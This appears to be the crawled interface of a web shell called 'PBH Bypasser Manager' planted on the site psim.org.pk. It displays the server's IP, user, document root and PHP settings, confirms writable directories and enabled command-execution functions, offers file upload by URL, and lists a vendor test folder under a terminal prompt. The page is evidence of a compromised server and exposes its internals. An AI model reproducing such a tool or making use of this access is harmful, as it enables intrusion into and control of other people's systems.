🌸 psim.org.pk

PBH Bypasser Manager | Use your logic to penetrate all Security

v1.1.2 Haxor
Home
0 item(s) selected

Quick Upload

Upload via URL

Single File

Multiple Files

Server Information

SERVER INFO

Software Apache
PHP Version 8.3.30
OS Linux
Server Name psim.org.pk
SSL Enabled

NETWORK & USER

Server IP 198.23.59.68
Your IP 216.73.216.70
User psim
Group tty
Document Root /home/www/psim.vps104032.mylogin.co

PHP LIMITS

Upload Max 10M
Post Max Size 8M
Memory Limit 512M
Max Execution 0s
Disabled Functions None

WRITABLE CHECK

Temp Dir Writable
Document Root Writable
Server Time 2026-09-12 23:01:33
Timezone UTC

TERMINAL FUNCTIONS

Shell Exec Exec System Passthru Popen Proc Open PCNTL Exec
NameSizePermissionsModifiedOwnerActions
Zip64 -- 2775 2024-10-10 12:33:01 psim
Zs -- 2775 2024-10-10 12:33:01 psim
Assertions.php 1.03 KB 0775 2024-10-10 12:33:01 psim
bootstrap.php 113 B 0775 2024-10-10 12:33:01 psim
CentralDirectoryFileHeaderTest.php 2.21 KB 0775 2024-10-10 12:33:01 psim
DataDescriptorTest.php 730 B 0775 2024-10-10 12:33:01 psim
EndlessCycleStream.php 1.98 KB 0775 2024-10-10 12:33:01 psim
EndOfCentralDirectoryTest.php 1.35 KB 0775 2024-10-10 12:33:01 psim
FaultInjectionResource.php 3.11 KB 0775 2024-10-10 12:33:01 psim
LocalFileHeaderTest.php 1.7 KB 0775 2024-10-10 12:33:01 psim
PackFieldTest.php 942 B 0775 2024-10-10 12:33:01 psim
ResourceStream.php 3.86 KB 0775 2024-10-10 12:33:01 psim
Tempfile.php 842 B 0775 2024-10-10 12:33:01 psim
TimeTest.php 1.22 KB 0775 2024-10-10 12:33:01 psim
Util.php 3.3 KB 0775 2024-10-10 12:33:01 psim
ZipStreamTest.php 36.97 KB 0775 2024-10-10 12:33:01 psim

Terminal (Working dir: /home/www/psim.vps104032.mylogin.co/vendor/maennchen/zipstream-php/test)